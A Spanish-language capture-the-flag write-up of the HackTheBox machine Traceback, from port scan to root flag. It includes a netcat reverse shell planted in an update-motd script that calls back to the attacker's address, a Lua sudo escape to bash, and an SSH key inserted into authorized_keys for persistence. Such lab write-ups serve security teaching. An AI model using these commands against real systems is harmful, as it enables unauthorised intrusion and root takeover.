Traceback es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Ubuntu.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Traceback 10.10.10.181 a /etc/hosts como traceback.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# Nmap 7.80 scan initiated Thu May 7 13:22:33 2020 as: nmap -sC -sV -oA traceback-nmap 10.10.10.181 Nmap scan report for 10.10.10.181 Host is up (0.074s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) | 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA) |_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519) 80/tcp open http Apache httpd 2.4.29 | http-ls: Volume / | SIZE TIME FILENAME | 103K 2020-02-27 05:37 smevk.php |_ |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Index of / Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 7 13:22:44 2020 -- 1 IP address (1 host up) scanned in 10.91 seconds |
Observamos que tenemos dos puertos abiertos, vamos a comprobar primero que tenemos en el puerto 80 y obtenemos la siguiente página:
Viendo el comentario existente buscamos en google por “webshell Xh4H” y encontramos un repositorio con varias webshell en github.
Probamos a ver si existe alguna de ellas y conseguimos acceder a un portal de login a través de la url http://10.10.10.181/smevk.php
Probamos a loguearnos con admin:admin y listo, estamos dentro de la shell, la cual tiene un aspecto como el que se ve en la siguiente captura:
Realizamos algunas comprobaciones de ejecución de comandos y probamos a subir nuestra propia shell de php a través del formulario de subida de ficheros y que posteriormente ejecutaremos para acceder a la máquina.
Lanzamos en local netcat con el puerto que pusimos en la escucha en nuestra reverse shell y ejecutamos el fichero php que hemos subido, consiguiendo así acceso con el usuario webadmin.
Obteniendo la flag de user
A partir de aquí, necesitamos poder hacer un escalado lateral para poder acceder con el usuario sysadmin y obtener la flag de user que se encuentra en la home de dicho usuario.
Revisamos el historial y los permisos de dicho usuario y observamos que es posible ejecutar como sudo el siguiente comando
1 |
/home/sysadmin/luvit |
Pero no encontramos el fichero privesc.lua que aparece en el historial:
Así que lo creamos de nuevo:
1 |
echo "os.execute(\"/bin/bash -i\")" > privesc.lua |
Y ejecutamos el comando para obtener acceso como sysadmin y con ello la flag de user:
Escalado de privilegios
Ahora que ya tenemos la primera flag, necesitamos escalar privilegios a root. Para ello, utilizaremos pspy para ver los procesos existentes en el sistema y encontramos uno que nos llama la atención:
Existe un proceso que se ejecuta cada 30 segundos y que copia todo el contenido de /var/backups/.update-motd.d/ a /etc/update-motd.d/
Después de varias comprobaciones, confirmamos que al acceder por ssh a la máquina se carga todo el contenido del directorio /etc/update-motd.d.
Al revisar el mismo comprobamos que el usuario sysadmin tiene permisos para editar el contenido de esos ficheros:
1 2 3 4 5 6 7 8 |
sysadmin@traceback:/home/webadmin$ ls -l /etc/update-motd.d ls -l /etc/update-motd.d total 24 -rwxrwxr-x 1 root sysadmin 981 May 7 07:24 00-header -rwxrwxr-x 1 root sysadmin 982 May 7 07:24 10-help-text -rwxrwxr-x 1 root sysadmin 4264 May 7 07:24 50-motd-news -rwxrwxr-x 1 root sysadmin 604 May 7 07:24 80-esm -rwxrwxr-x 1 root sysadmin 299 May 7 07:24 91-release-upgrade |
Por lo que vamos vemos dos posibles formas de conseguirlo:
Lo primero será crearnos una clave ssh para el usuario webadmin y la incluimos en el fichero authorized_keys de dicho usuario para poder acceder:
1 |
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSC8+D4LyqwyoHWQ/K9d+tFSSUU1ApJPRerIJGh6Ylzvwdk+JBXHUYckqERZTnZUxwjQzgN9PdXCPU8xltytTDG38bvk0hHfk6dWjNz3bqdTlFvAy9upvsQq2AQfwtR45frwGmCRDOZRWUl5DfemYeQvSDo6DG6Tx3isUNIlTtKxGbH4JlduN293N5Sh2a+LJ67kwZQw+HQnYIdcWLAflk2IX3rbU7bXNxT/BLP+ZGGoDHbmwxKDuCeuPpQIVRDjJFZyaENJwTKNkPxOYxwE7Y05PpGGV0pIbpVMpuG1my8H0ZbiY2ir4ZFvKsXp7/kve64r5P0G+c+IiVQiKOir4Z+w0ADdreXCU9ct5U6MVd0wF+QE8i6H6MhaqmhA8vbaQLbXd0O12F+qfKRL7Tvp2FYRrXC23pj6fsqgCkQ+DQUhLF+iaIH4deqs/L/n9/mDw4e/qLuM6A5+56/w6PsQiKCzQBSwnTEpPecdGG1VquLMOtaYYTBW+qOqqlyoM656s= root@kali" >> /home/webadmin/.ssh/authorized_keys |
Ahora podemos incluir una escucha en el fichero 91-release-upgrade para obtener una shell directa como root, quedando de la siguiente forma:
1 2 3 4 5 6 7 8 9 |
#!/bin/sh /tmp/nc -e /bin/bash 10.10.x.x 1234 # if the current release is under development there won't be a new one if [ "$(lsb_release -sd | cut -d' ' -f4)" = "(development" ]; then exit 0 fi if [ -x /usr/lib/ubuntu-release-upgrader/release-upgrade-motd ]; then exec /usr/lib/ubuntu-release-upgrader/release-upgrade-motd fi |
O podemos añadir el siguiente comando al fichero 00-header para que al acceder por ssh nos muestre la flag de root:
1 |
echo "cat /root/root.txt" >> /etc/update-motd.d/00-header |
Obteniendo la flag de root
Una vez tenemos nuestra clave ssh, realizamos la modificación oportuna y, por ejemplo, en el caso de añadir el comando al fichero 00-header, al loguearnos por ssh obtendremos la flag de root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# ssh -i /root/.ssh/webadminkey webadmin@10.10.10.181 ################################# -------- OWNED BY XH4H --------- - I guess stuff could have been configured better ^^ - ################################# Enter passphrase for key '/root/.ssh/webadminkey': Welcome to Xh4H land 02c--------------------------e Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu May 7 06:51:38 2020 from 10.10.x.x |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.